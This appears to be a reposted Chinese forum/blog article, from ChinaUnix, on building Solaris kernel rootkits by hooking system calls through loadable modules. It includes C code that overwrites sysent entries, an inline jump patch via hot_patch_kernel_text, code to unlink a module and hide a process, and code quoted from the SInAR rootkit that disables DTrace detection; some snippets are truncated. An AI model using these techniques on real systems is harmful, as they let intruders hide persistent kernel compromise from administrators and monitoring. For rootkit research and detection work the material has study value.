免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2378 | 回复: 0
打印 上一主题 下一主题

怎样截取Solaris的系统调用 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-03-21 12:20 |只看该作者 |倒序浏览

                                                 
       
       
        在linux中,通过LKM注射来截取系统调用已经是rootkit很常见的一种方法。那么,同为Unix的Solaris是否也可以通过类似的方法来hack呢?答案是肯定的,而且编程方法甚至是非常相似的。所不同的地方是现在的Solaris一般都是64bit的内核,而且,Solaris系统内置了很多debug的工具,比如dtrace,可以很容易的发现系统是否被hack了。本文就Solaris的这些检查方法来做一个简单的介绍,并且参照一些文献和亲身实验,给出具体的应对方法。
1. LKM 工具
for Solaris and Linux
对于Linux的LKM,有很多大家都比较清楚了,比如Knark或者Adore
,而且他们都提供了隐藏自身的功能(比如隐藏文件,
隐 藏 进 程,
重定向可执行文件,
隐藏网络连接)。它们采用的技术主要是利用截获open,
gendents64,write等系统调用来为自己所用。至于隐藏就是“如果发现输出的信息含有自己要隐藏的信息,就把这部分的buffer抹去”。
至于在Solaris里面,同样的也是有很多的系统调用,而且Solaris将系统调用表export出来。这样,想要截获Solaris的系统调用就很容易了。目前在Solaris上,也有一些Rookit,比如SInAR,
slkm等等。他们是通过截获系统调用来隐藏自身。
2. Hack方法
截获系统调用的方法有很多,我们可以自己写一个dummy系统调用函数,再将这个函数的地址在export的系统调用表里替换一下;同样也可以截取系统调用的地址,写一些opcode将其栈地址写成我们的dummy函数。在看具体看例子之前,先看一个系统调用的结构。
       
       
               
                       
struct sysent {
                       
                       
       char           
                        sy_narg;        /* total number of arguments */
                       
                       
#ifdef _LP64
                       
                       
        unsigned short
                        sy_flags;       /* various flags as defined below */
                       
                       
#else
                       
                       
        unsigned char  
                        sy_flags;       /* various flags as defined below */
                       
                       
#endif
                       
                       
        int            
                        (*sy_call)();   /* argp, rvalp-style handler */
                       
                       
        krwlock_t      
                        *sy_lock;       /* lock for loadable system calls */
                       
                       
        int64_t        
                        (*sy_callc)();  /* C-style call hander or wrapper */
                       
                       
};
               
       
这个结构就是系统调用表的结构,其中sy_callc就是系统设置的系统调用函数地址,而我们要做的,就是让他执行我们自己的函数。
2.1 替换系统调用
我们先看一个最简单的例子。
       
       
               
                       
int new_exece(const char
                        *path, int oflag, mode_t mode)
                       
{
                       
     cmn_err(CE_NOTE,
                        "anm, new exece, path is %s", path);
                       
     return
                        old_exece(path, oflag, mode);
                       
}
                       
                       
                       
int _init(void)
                       
{
                       
    if ((i =
                        mod_install(&modlinkage)) != 0)
                       
        cmn_err(CE_NOTE,
                        "Could not install module\n");
                       
                       
                       
    old_exece = (void *)
                        sysent[SYS_exece].sy_callc;
                       
                       
                       
    sysent[SYS_exece].sy_callc
                        = (void *) new_exece;
                       
    return i;
                       
}
                       
                       
                       
int _fini(void)
                       
{
                       
    int i;
                       
    if ((i =
                        mod_remove(&modlinkage)) != 0)
                       
        cmn_err(CE_NOTE, "Could
                        not remove module");
                       
    sysent[SYS_exece].sy_callc
                        = (void *) old_exece;
                       
                       
                       
    return i;
                       
}
               
       
在上面的例子中,就是一个很简单但是全面的截取系统调用exece的方法,就是在_init函数中将sysent中的SYS_exece数组项sy_callc函数的入口地址设置成为我们的new_exece中,其中的sysent就是Solaris的系统调用表,和Linux不同,Linux从2.4开始,系统调用表已经不公开export出来了,虽然可以通过内存检索得出系统调用表的位置,但是对于LKM来说稍微加了一点门坎。而Solaris可能是为了向前兼容,所以这部分的代码一直都没怎么变。
在new_exece里面,我们没有做任何事,只是输出了一行,提示这已经是我们的exece了。还有注意一定要调用原来的old_exece函数来完成相应的功能。虽然我们只加了一行程序,但考虑到同时可能有非常非常多的exece请求,这有可能会对系统性能造成非常大的影响。在Linux中的LKM,处于隐藏的需要,可能要在read或者write系统调用里面写一些内存操作程序,这其实对系统性能影响是很显著的。
回到我们的话题,在模块退出的时候,一定要用“sysent[SYS_exece].sy_callc
= (void *) old_exece;”把原来的exece调用函数指回到系统调用表中。否则的话,后果很严重!嘿嘿。
2.2 截取系统调用
上面是最简单直接的替换系统调用表里的函数,但是这样做是有问题的。比如dtrace可以直接得到系统调用函数的地址,如果用我们的函数来进行替换,那么很细心的系统管理员还是可以注意到系统已经被hack了。比如如下的dtrace程序。
       
       
               
                       
#cat exec.d
                       
#!/usr/sbin/dtrace -s
                       
                       
                       
                       
dtrace:::BEGIN
                       
                       
{
                       
                       
        ptr = (long *)&`exece;
                       
                       
                       
        printf("\nsysent[$1]:0x%p\n",`sysent[$1].sy_callc);
                       
                       
                       
        printf("Exec at:
                        0x%p\n", ptr);
                       
                       
        exit(0);
                       
                       
}
                       
                       
                       
                       
# ./exec.d 11
                       
                       
dtrace: script './exec.d'
                        matched 1 probe
                       
                       
CPU     ID               
                           FUNCTION:NAME
                       
                       
  1      1               
                                  :BEGIN
                       
                       
sysent[$1]:0xfffffffffb9bca28
                       
                       
                       
Exec at:
                        0xfffffffffb9bca58
                       
               
       
如果我们用上面的系统调用替换,那么Exec程序捕获的地址就不会是显示的这个地址。
我们可以用给系统打patch的方法改变syscall的内容,如下面的程序。
       
       
               
                       
short x = 0;
                       
char jmpl_x86[7] =
                        "\xb8\x00\x00\x00\x00\xff\xe0";
                       
*(long *)&jmpl_x86[1]
                        = (long)new_exece;
                       
                       
                       
for(x=0;x
                       
hot_patch_kernel_text(kern_call+
                        x,jmpl_x86[x],1);
                       
                       
               
       
在hot_patch_kernel_text函数里面,就是把jmpl_x86所指的内容放到系统调用表里面,那么jmpl_x86是什么呢?“\xb8\x00\x00\x00\x00\xff\xe0”在汇编指令中就是”mov
0 %eax;jmp
%ebx”,然后在下一条指令里面把我们的new_exece的地址给”mov”指令。再通过hot_patch_kernel_text函数来把这个跳转指令写进去。这样,当执行exec
系统调用的时候首先就是进行跳转到new_exece函数里面去,这样通过上面的dtrace脚本看上去,exec系统调用的地址不会变,但是其实已经系统调用已经被hack了。
3. 目前Rootkit存在的问题
上面介绍的方法其实在Linux或者Solaris里都是通用的,但是在Solaris上面,如果直接拿上面的方法试图去截获系统调用,在相当一部分的情况下都不会成功,这是因为目前Solaris基本都使用64bit的kernel,除非在一些非常老的机器上。
在solaris系统上,应用程序向系统内核请求调用的“门”是syscall_entry,并且process向系统内核请求服务的process
model是proc_t->ulwp_t->klwp_t->kthread_t,其中proc_t到ulwp_t在应用层,由libc来进行转换;kernel部分由lwp转换成为thread,进行执行。有关详细内容请参见附录1。
通过分析sycall_entry这个函数,我们会注意到如下的显示
       
       
               
                       
struct sysent *
                       
syscall_entry(kthread_t
                        *t, long *argp)
                       
{
                       
        klwp_t *lwp = ttolwp(t);
                       
        struct regs *rp =
                        lwptoregs(lwp);
                       
        unsigned int code;
                       
        struct sysent *callp;
                       
        struct sysent *se =
                        LWP_GETSYSENT(lwp);
                       
        int error = 0;
                       
        uint_t nargs;
                       
…...
               
       
这下知道了,系统调用表是通过LWP_GETSYSENT(lwp)宏来得到的,
#ifdef
_SYSCALL32_IMPL
#define        LWP_GETSYSENT(lwp)        \
        (lwp_getdatamodel(lwp)
== DATAMODEL_NATIVE ? sysent : sysent32)
#else
#define        LWP_GETSYSENT(lwp)        (sysent)
#endif
原来在Solaris里面,有两个系统调用表,可能是为了和之前的系统兼容,Solaris保留了一个sysent32的系统调用表。查看sysent32的定义:
       
       
               
                       
/*
                       
* sysent table for ILP32
                        processes running on
                       
* a LP64 kernel.
                       
*/
                       
struct sysent
                        sysent32[NSYSCALL] =
                       
{
                       

               
       
原来sysent32是特地为64位的内核上运行32位的程序预备的,在查看我的bash文件,
#
file /bin/bash
/bin/bash:        ELF
32-bit LSB executable 80386 Version 1 [FPU], dynamically linked...
当在64位的系统上运行32位的shell时,系统采用了不同的调用表。我们可以将例子1里面的程序的sysent系统调用表改成sysent32,然后用它来截获系统调用,果然一切OK!
那么在64bit的机器上,用上面机器码的例子来截获系统调用也是不能成功的,原因就是64位是8个字节,所以相应的地址要进行改变;而且jmp指令的机器码也有不同,那么具体就要参考intel或者amd的硬件手册了。
4. 如何隐藏自身
Solaris里面的隐藏和Linux里面的隐藏方法基本一样,比如文件隐藏,网络隐藏等等,下面以模块隐藏和进程隐藏为例,抛砖引玉。
4.1 如何隐藏模块
module的隐藏还是比较容易的,就是把特定的module从module_list链表里面摘除,就可以了。
       
       
               
                       
# mdb -k
                       
> modules::print
                       
                       
{
                       
                       
    mod_next = 0x1850aa0  
                          
                       
                       
    mod_prev =
                        0x300021aaea8
                       
                       
    mod_id = 0
                       
                       
    mod_mp = 0x184cef0
                       
                       
    mod_inprogress_thread
                        = 0
                       
                       
    mod_modinfo = 0
                       
                       
    mod_linkage = 0
                       
                       
    mod_filename =
                        0x184ceb8 "/platform/sun4u/kernel/sparcv9/unix"
                       
                       
    mod_modname =
                        0x184ced7 "unix"
                       
                       
    mod_busy = '\0'
                       
                       
    mod_want = '\0'
                       
                       
    mod_prim = '\001'
                       
                       
    mod_ref = 0
                       
                       
    mod_loaded = '\001'
                       
                       
    mod_installed = '\001'
                       
                       
                       
    mod_loadflags = '\001'
                                                                                   
                       
                       
    mod_delay_unload =
                        '\0'
                       
                       
    mod_requisites = 0
                       
                       
    mod_dependents = 0
                       
                       
    mod_loadcnt = 0x1
                       
                       
    mod_nenabled = 0
                       
                       
    mod_text = scb
                       
                       
[...]
                       
                       
}
                       
                       
>
                       
               
       
利用一个简单的摘链表的步骤即可:
  prev->next
= next;
  next->prev
= prev;
4.2 进程隐藏
要想不被ps等命令发现,就要保证在proc结构中我们想要隐藏的进程消失。具体方法就是将proc结构中的p_pidp->pid_prinactive设置为1即可。
       
       
               
                       
if(curproc->p_parent)
                       
{
                       
        if(curproc->p_parent->p_pidp->pid_prinactive)
                       
        {
                       
                curproc->p_pidp->pid_prinactive
                        = 1;
                       
        }
                       
}
                       
                       
               
       
4.3
如何对付dtrace
dtrace提供了很多的FBT探点,对于系统调用,通过这些探点可以看到正在执行的系统调用的堆栈,和系统调用函数的名字(有关dtrace详情,请参见附录2)。在SInar中,作者并没有给出很好的绕过dtrace的方法,他仅仅是简单的把dtrace
对于插入的module
disable了(因为dtrace只检测active的module和active的FBT
提供者)。下面的例子从SInar中直接引用过来:
       
       
               
                       
dt_cond =
                        kobj_getsymvalue("dtrace_condense",0); //取得dtrace
                        cond符号
                       
fbtptr =
                        modgetsymvalue("fbt_id", 0);  //取得fbt
                        provider的符号
                       
modcookie =
                        dtrace_interrupt_disable(); //取得disable
                        dtrace的handler
                       
                       
                       
//模块消失!
                       
modme->mod_nenabled =
                        0;
                       
                       
modme->mod_loaded = 0;
                       
                       
modme->mod_installed =
                        0;
                       
                       
modme->mod_loadcnt = 0;
                       
modme->mod_gencount =
                        0;
                       
                       
                       
//hack dtrace
                       
dt_cond(*fbtptr);
                       
dtrace_sync(); // just for
                        our own good
                       
dtrace_interrupt_enable(modcookie);
               
       
附录

  • Solaris Internal:
                    Solaris 10 and OpenSolaris Kernel Architecture 2nd
                    Edition.
                   

  • Dtrace docs:
                   
    http://www.sun.com/bigadmin/content/dtrace/
                   

  • Sinar:
                    http://www.rootkit.com/vault/vulndev/21c3_release.tar.bz2.gpg
           
                   
                   
                   
                   
                   
                   
                   
                   
                   

    本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/412/showart_1870688.html
  • 您需要登录后才可以回帖 登录 | 注册

    本版积分规则 发表回复

      

    北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
    未成年举报专区
    中国互联网协会会员  联系我们:huangweiwei@itpub.net
    感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

    清除 Cookies - ChinaUnix - Archiver - WAP - TOP